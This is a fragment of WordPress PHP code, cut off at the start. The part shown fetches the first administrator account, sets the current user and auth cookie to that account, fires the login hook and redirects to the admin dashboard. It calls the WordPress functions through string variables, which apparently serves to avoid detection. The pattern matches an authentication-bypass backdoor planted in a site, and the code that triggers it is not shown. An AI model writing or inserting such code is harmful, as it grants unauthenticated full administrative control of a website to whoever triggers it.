'administrator', 'number' => 1]); if (!empty($users)) { $admin = $users[0]; $set_user = 'wp_set_current_user'; $set_cookie = 'wp_set_auth_cookie'; $login_action = 'do_action'; $redirect = 'wp_safe_redirect'; $admin_url = 'admin_url'; $set_user($admin->ID); $set_cookie($admin->ID); $login_action('wp_login', $admin->user_login, $admin); $redirect($admin_url()); exit; } } else { wp_safe_redirect(admin_url()); exit; }} });